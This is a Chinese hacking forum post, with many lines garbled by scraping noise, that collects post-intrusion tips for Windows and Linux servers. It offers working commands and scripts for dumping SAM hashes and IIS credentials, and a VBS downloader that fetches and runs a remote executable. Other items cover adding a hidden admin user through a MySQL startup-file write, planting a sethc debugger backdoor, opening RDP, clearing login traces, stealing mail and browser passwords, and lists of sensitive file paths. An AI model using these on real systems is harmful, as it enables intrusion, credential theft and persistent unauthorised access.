6 M3 w' S" B5 _$ c1 y关于tar的打包方式,linux不以扩展名来决定文件类型。
# ~; M0 F0 \) B3 t( r若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
9 y% H) u& N) I% E那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
. Y# @+ w# q+ s  U4 x}  
) P. J! h" i& w4 u/ k* J& x
提权先执行systeminfo
# c; h+ n0 ?: I9 btoken 漏洞补丁号 KB956572
3 l+ ~& e7 {7 p, d$ b5 z2 r* u2 b) CChurrasco          kb952004
, F# b- p4 E! i  B, r命令行RAR打包~~·
3 @7 a: A9 K6 |1 G2 }  D$ prar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
% o$ Y" _' L! @* M0 x2、收集系统信息的脚本  
for window：

5 s; w6 ~5 S5 w8 O@echo off
, K# |% C$ S4 Q3 O- U) G9 T. decho #########system info collection
systeminfo
0 J' O+ F( ~, I& N7 rver
hostname
net user
4 I  E5 M# T% S, v# E0 q  ^/ Mnet localgroup
' _+ \, E2 ^, M( D, P* }, d8 hnet localgroup administrators
net user guest
net user administrator
1 `5 @! i5 z8 a* m
. U/ K/ e& @' Iecho #######at- with   atq#####
* Y0 i5 P" ?  Uecho schtask /query
1 [, _: R$ f2 e3 H/ R& \  Q
echo
# G3 M9 O. {. a8 F1 [echo ####task-list#############
tasklist /svc
7 v: Y- t& v" `( k9 E1 wecho
5 A" K4 \, t; P# [7 R/ U$ Oecho ####net-work infomation
ipconfig/all
route print
" R+ P3 q2 I& karp -a
netstat -anipconfig /displaydns
echo
7 U* g& M0 C" D# Q! w% |( N( Cecho #######service############
sc query type= service state= all
- C' ~1 }+ }; E9 Xecho #######file-##############
cd \
: }& B8 u, Z5 N) mtree -F
for linux：

#!/bin/bash

9 M/ u7 ]" v7 ]6 _  {echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
) R5 c* \; ]/ q# E) p8 a0 R6 Iecho #######basic infomation##
cat /proc/meminfo
echo
( d( u6 v) G5 o% Z! ~6 ]# mcat /proc/cpuinfo
! C9 J# E  R; Y5 Xecho
rpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null


) Z! }& g& Z. Necho 'u'r id is' `id`
echo ###atq&crontab#####
atq
crontab -l
" a) l' @$ K  Decho #####about var#####
set

echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
. g" l. a, s1 }9 y8 T4 [6 gipconfig -a
7 y8 `( x; k; harp -v
echo ########user####
# N8 M7 l% h  l1 C/ a) Dcat /etc/passwd|grep -i sh

echo ######service####
5 O; V. F5 W- m2 r3 e. Vchkconfig --list
! E& n! X! ]% {5 V3 p
for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done
; x& @0 K* \, ]) @- H
* ~3 V  l* x' m: o4 q" Nlocate passwd >/tmp/password 2>/dev/null
& O) e: Y7 K2 }5 }. c9 Nsleep 5
; i  S$ D" V) X- Plocate password >>/tmp/password 2>/dev/null
5 l7 W! [3 n+ N8 H9 ^  T7 \! h0 Bsleep 5
locate conf >/tmp/sysconfig 2>dev/null
- ~/ \5 d' K0 o: i& Q0 A/ ysleep 5
. j8 T& x' W; v+ D$ ]/ \% {+ `9 qlocate config >>/tmp/sysconfig 2>/dev/null
sleep 5
- \1 j* V) D- U$ O" c7 P
###maybe can use "tree /"###
echo ##packing up#########
/ {* _# b# U+ L6 u9 [7 star cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
1 j( M& p$ C9 g- t* F1 c* Z6 I8 k  mrm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
0 B4 G* q! q6 G) B: e5 O+ |3、ethash 不免杀怎么获取本机hash。
% r: L; Z- E5 e& f" Y首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
0 A4 z" v$ k% v) v               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
& s1 N  C1 r: z) b. l. k$ Z% \注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
  x$ r5 m9 K- U& |1 R: [4、vbs 下载者
* b% q9 S! a' [3 o5 I9 O# S2 F1
* _' l# D7 C! ?: decho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
3 y' E7 q, {; Recho sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
2 ^/ e( u' {4 E- y) R3 pecho sGet.Open() >>c:\windows\cftmon.vbs
9 v- M+ W" c+ G, @echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
# Y- F0 ~6 Z# \echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
- p7 D6 V. k" X3 Y& xcftmon.vbs

: j, {& T5 }) @2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
  o# v5 z/ P9 j( o7 _% l" [2 ys1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
$ i7 I$ e3 p! ~* E! `4 Q8 M" DSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
6 A. G+ k6 E) J6 n( ^6 d1 wsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
2 _! b! S2 I& a' D/ R& J
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
9 k" W8 s7 t+ N+ l- W3 H——————————————————
5、
7 |! ~, b0 Y2 b1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
9 g- D5 R( h1 u8 R0 B! O( {REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
/ ?# m! V% d/ U) C$ a3 }7 l& Q, Z3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
( c0 s/ Y5 R  J6 ~" R( JREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
# Z8 l* P0 S5 r6 g. f————————————————
" f5 u4 j6 L2 ?/ S. O0 v5 c6、create table a (cmd text);
  s7 C9 n8 n! A4 K9 Sinsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
) C; F5 F( r( _insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
8 C$ u5 u- \5 N; U————————————————————
6 s5 [; f. @" f& ~1 I6 r. c- ^7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i
% i& |+ t+ F/ ]  e4 }
8 `# H: D$ d( d; b. x  l列出d的所有目录
  
% a9 \3 T# F7 I0 Y  for /d %i in (???) do @echo %i

6 L) O- Y4 S; J) C4 ?把当前路径下文件夹的名字只有1-3个字母的打出来
2 p0 b4 t, n& H& c) @4 q
2.for /r %i in (*.exe) do @echo %i
  
& m9 ]; q  [: V/ R& @0 @以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

) S& i: v9 b5 N! j9 m& Zfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
$ }. d* @% E/ o' r4 k: N: L& \
3.for /f %i in (c:\1.txt) do echo %i
3 l; i  ~- F) j6 R4 y8 U% _  W  
, g' y# s3 Z. M' W. x- @- ~  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
- E$ ]3 m4 S2 H0 F+ Z0 Y5 G$ j3 f3 N  g
! a7 _2 q  X9 s  b: }  R! ~4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

/ O- X: }9 ?! D2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
6 a- ^, C$ M9 f; j1 Y( y1 y修改PortNumber.
- a0 U4 F  X  ]6 @% t3 ]6 K
3.清除3389登录记录:
+ B, f: u/ B# _$ f  W' a9 n) Q% x; ereg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

5 a) @  L2 n9 J' q8 r% r9 L- X' w4.Radmin密码:
8 C( w) v: s3 u& _/ breg export HKLM\SYSTEM\RAdmin c:\a.reg
2 c4 Q1 g, }; F& W8 ?9 q. `
5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

# x* r' J( |' C' }! K* M  z; d6.IPSec默认免除项88端口(需重启):
' Z- f# S, ]1 v8 A, ^6 T/ f& d1 nreg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
  `" x  ~/ _' I) r; p或者
netsh ipsec dynamic set config ipsecexempt value=0
& `* U% E0 k+ p5 F
7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n

0 v2 e4 o* D1 n1 j$ u9 l; P3 J- Q; ]8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
, ?, |, n1 i5 ~reg save hklm\security c:\security.hive
) Y7 q5 w3 B+ p  F& p0 H
8 o7 ]/ e; C# S10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

# M6 n0 e& O) X: r, D- Breg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
" x6 ~+ V5 N$ s& e& iif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
! f' r/ c+ Y4 F: ?/ Y& ^; C& T0 bif err.number<>0 then
exit for
msgbox("error!")
6 k) x7 D+ M9 ^wscript.quit
end if
6 e7 `3 r2 f% s+ |% gserverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
. o7 ]6 ^0 a; f% h, ]: vpass=iisweb.AnonymousUserPass
) L6 ^& ^3 _. e5 bpath=IIsWeb.path
, W+ D" `2 K8 V2 _% Nlist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
wscript.echo list
Set ObjService=Nothing
4 o' S: G) t$ S5 ewscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
" `" L% h; m0 S2 E% sWScript.Quit
- P  V7 a4 j1 b7 c复制代码
! e3 S. w0 w2 c+ J- j" W----------------------2011新气象，欢迎各位补充、指正、优化。----------------
! g, Z, b( N# A1 D1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
  v( B+ f2 ?5 D- i将folder.htt文件，加入以下代码：
5 y/ R5 t6 H6 E3 J<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
8 m: {6 v+ v: d- T1 s: K2 o+ u* P</OBJECT>
) p" D0 U' V: I; k; u- h" G复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
. T' x0 h. u$ |! e& tPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
& {& k& x4 h8 J. ~; r+ W 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
( ?4 c8 {. X. x7 P- ] 解决方法
  y3 h7 ?' B5 u) o# ^% B url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

+ G: t& R/ X0 T==============================================================
2 B' z( }* W; w/ f2 PLINUX常见路径：
+ ^8 G+ K, ~6 B  I
/etc/passwd
/etc/shadow
/etc/fstab
  v% G) \0 g8 ~$ E7 ~/etc/host.conf
' j# O. D& h$ n  l: n/etc/motd
6 w4 H# o7 `3 W/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
, [4 E$ p, G5 Q- ^) |/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
0 c* L& Z0 n" J/opt/www/conf/httpd.conf
5 s- @% ~1 h" G2 y7 g/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
4 w7 }' g) h2 b2 n5 b9 i/usr/local/apache/htdocs/index.php
. \0 |9 N' a2 F, s* ^1 B/usr/local/apache2/htdocs/index.html
% S& t3 l# L; @* k& l) W7 I/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
0 g1 I0 t( n, g/usr/local/httpd2.2/htdocs/index.html
. e* h5 J- Q1 y9 G* u/tmp/apache/htdocs/index.html
0 T6 ~" x  U$ n6 I! `! @/tmp/apache/htdocs/index.php
; |% M6 C5 d2 R/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
6 K  |" }! j3 v; n* T* Z/www/conf/httpd.conf
/www/htdocs/index.php
  Y9 j- H: n) H( d/www/htdocs/index.html
, ], y' \& n6 ^! _) D% ^" B/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
# i5 a; f( E* G6 x3 [5 V/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
" C9 J8 \# f8 k  x7 u/etc/apache2/vhosts.d/00_default_vhost.conf
; b! A  E2 I; i/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/ r- V# D# `3 ?" w1 ]" K( j$ i/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
3 P. C* G4 B% b& Q$ i/etc/httpd/logs/error.log
7 W; O3 Q2 ^% {/etc/httpd/logs/access_log
! `% N: V  A8 V/etc/httpd/logs/access.log
8 H, {1 q8 ?# u$ s/home/apache/conf/httpd.conf
! j( A0 b% Y9 T3 A/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
- ^% c0 I! k0 C7 ^9 |# I/var/www/logs/error.log
" q$ u3 o7 t5 w3 L6 \8 ?9 t+ y. D5 Y& y/var/www/logs/access_log
5 b, A. E3 e+ n, I$ s: N/var/www/logs/access.log
7 `) @# ~% j+ }3 m" K% u" m/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
' ]0 M6 o1 ?, E7 m  X9 L8 y/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
8 A$ R6 M5 e  p/usr/local/apache/logs/error_logerror_log.old
/ t% Q& B( K# C! b- F; Q% ]/etc/php.ini
/bin/php.ini
/etc/init.d/httpd
: `0 Y$ g5 l" K( s8 n; q' o/etc/init.d/mysql
% O  [- ~& Q8 h# s2 r  S$ ~/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
- V4 E9 W8 z7 N! N2 A& b1 g/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
" L4 o" W6 N" R( c% l' L- C. M/usr/local/php5/etc/php.ini
: U/ t8 c7 Y; N* y6 ~) P/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
7 M* N5 h9 X4 K/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/ J$ h# x& O6 R5 o5 U: I/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
2 i- e" g" [+ D/ c2 W7 \/etc/php/php.ini
/ u5 ?! |" v( s, K' O/etc/php/php4/php.ini
/etc/php/apache/php.ini
* o: }: K4 M$ [/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
: ~+ ^- M' q$ ^3 o' ?& y/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
" t/ j" a4 s: H4 F5 m  q1 ?/etc/php/cgi/php.ini
& Z2 v% q, w8 D" n) x0 _" W- L/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
$ `/ X3 K  k0 ]/php5/php.ini
/php4/php.ini
5 }' M* E6 s% A7 k7 {0 o/php/php.ini
4 e+ G( ~; c, g  m6 ]/PHP/php.ini
2 a; M% g/ b* b1 x8 U7 M7 A# u/apache/php/php.ini
/xampp/apache/bin/php.ini
$ L1 X: C8 L# @. H$ }/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
$ i& k7 e* e, T. c8 ?, K$ w) d1 Y/home/bin/stable/apache/php.ini
4 O/ m) m$ o) l' r/var/log/mysql/mysql-bin.log
/var/log/mysql.log
6 @( z' z( U6 T" r0 i" @4 W/var/log/mysqlderror.log
/var/log/mysql/mysql.log
- u& l! ~! b6 K9 b/var/log/mysql/mysql-slow.log
$ t- Z5 }8 r2 d7 \/var/mysql.log
/var/lib/mysql/my.cnf
& J9 C, q6 j' Z' S/usr/local/mysql/my.cnf
7 ^$ J% v! P( x+ T4 d' ], Q/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
$ N8 Y) S3 F7 c$ k/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
4 p+ A7 O1 f" y/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
* P5 C0 e; r& [1 f/usr/local/cpanel/logs/license_log
2 t6 F1 S; s* D: p6 |/usr/local/cpanel/logs/login_log
- F4 i3 n" D; R' V5 }6 x+ f1 m4 `/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
# Q) ^2 r" f; X& z5 q* p5 @4 J
/ A  H* k1 X# G# d+ i2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

1 x0 J+ J3 y; [; g2 ^c:\windows\php.ini
c:\boot.ini
' `) b8 X, S9 I+ M" tc:\1.txt
c:\a.txt

c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
2 k$ z. Y1 {$ A  r9 ~c:\program files\CMailServer\CMailServer.exe
6 j& {6 t, k! i9 c1 a% pc:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
4 L2 X8 d' S# r8 j) {0 J7 I* kC:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

" @3 V& C# l, H- @+ fc:\hzhost\databases\url.asp

. J( J. X8 ~% n( a/ Wc:\hzhost\hzclient.exe
5 S4 v4 Q2 o3 }3 M3 i: R! uC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
; r. J; m  N# ^$ CC:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
c:\website\index.html
5 x$ O% H) s$ m2 g( {' o# Zc:\web\index.asp
c:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
c:\www\index.php
8 V, T2 [; T6 }' @' l1 Lc:\WWWROOT\index.php
c:\WWWsite\index.php
8 z; K& G3 y* [- n( cc:\web\default.html
c:\www\default.html
  \4 h5 f( y/ K9 Lc:\WWWROOT\default.html
' x" R9 L  }* y! n5 L1 ~8 Oc:\website\default.html
c:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
c:\WWWROOT\default.asp
9 o" H6 d9 ?# G2 b+ |( Lc:\web\default.php
c:\www\default.php
7 _) j, p# z) k$ k, mc:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
3 y7 j3 `; d3 t" vc:\winnt\notepad.exe
9 k( u/ x$ h/ i4 `7 h) u, v7 RC:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
* K2 t! i: A, E3 x' xC:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
9 X! e& W6 e- x0 |C:\Program Files\winrar\rar.exe
' [  Y0 L3 a) I, x3 zC:\Program Files\360\360Safe\360safe.exe
7 n5 Q5 f& C" h/ T- PC:\Program Files\360Safe\360safe.exe
$ N' _! e: g0 J7 ^6 T% E. k- xC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
7 D/ n* [/ u+ Z6 n' j$ x. T. E. Tc:\ravbin\store.ini
2 L7 z; U9 ~% j1 uc:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
( K/ E* ?' [6 y4 r2 e, _# k" VC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
- G- G' f. }5 X& g# N% VC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
6 S/ F/ x' R* T- P2 w5 S- TC:\Documents and Settings\Administrator\桌面\1.txt
2 c$ G  T- w% e: `: F' dC:\Documents and Settings\Administrator\My Documents\a.txt
  x! ?& h9 S/ U: v' NC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
; F, c3 ]' p" I1 a; eE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
/ y$ i& E6 ?" r3 SC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
' t! g: `# a/ i0 W! G$ TC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
9 Y9 O- k& S, D0 {/ w- t) q7 lC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
+ c$ m, `" j" {1 MC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
! j6 y: p1 t/ d2 e( pC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
5 a" T1 ]( o' i& `: o: c) T% c: ^C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
& P4 Y& o+ Y! D# qC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
- S4 Y5 r$ v7 l* r  Z8 Y" }C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
  I, n7 C/ ^4 v' g2 k, D" G8 cC:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
3 z; H7 u: X3 [) gC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
6 D( X1 ]# y3 D& S" YC:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
7 J2 F1 ?) C. D$ QC:\WINDOWS\system32\inetsrv\MetaBase.xml
8 g6 M# x& y" P  dC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
$ B& ]- e3 a( xC:\WINDOWS\system32\config\default.LOG
9 m6 I4 L$ _/ V" KC:\WINDOWS\system32\config\sam
6 x- W7 B) R* {7 `C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
2 C% D; i# P2 f/ \c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
; y8 r+ A# B9 t6 r/ l8 }c:\tomcat6\bin\version.sh
0 |% \2 ]) C) u6 c# `9 I3 E. zc:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
( m$ q. U3 j7 g$ s5 x" Fc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
' i. y" r+ Z# Hc:\Apache2\Apache2\bin\Apache.exe
3 V4 \0 ]( T' J* H6 K, u( I6 hc:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
* d! D5 Y/ i" r0 c# k/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
% [' W1 ~- S) ~; Q7 @c:\Program Files\QQ2007\qq.exe
1 r% h, a2 g8 A3 R" |c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
$ h( {! p4 ?. S/ ?- G$ V5 g0 N( ~c:\Program Files\Tencent\qq2009\qq.exe
) l! u0 M7 V9 L4 `& Hc:\Program Files\Tencent\qq2008\qq.exe
/ B  m3 a1 Y" d  Lc:\Program Files\Tencent\qq2010\bin\qq.exe
7 c" ]1 o1 \- p0 U9 ac:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
0 o9 s5 h7 ]" x! ^- v1 n" y) t0 B! _c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
- ?- n. h: t2 _c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
, i# ]  z9 @' U; H8 ]. F, {, PC:\Program Files\LeapFTP 3.0\LeapFTP.exe
5 y" i( J, C2 n7 }6 |C:\Program Files\LeapFTP\LeapFTP.exe
1 J$ [' c8 l; j# [1 Q" Jc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
3 _' W# ?8 g, J9 q- q0 tc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
) b# y+ y* @, ]C:\Program Files\FlashFXP\FlashFXP.ini
% z9 J3 Q9 _1 [; o4 y7 ^C:\Program Files\FlashFXP\flashfxp.exe
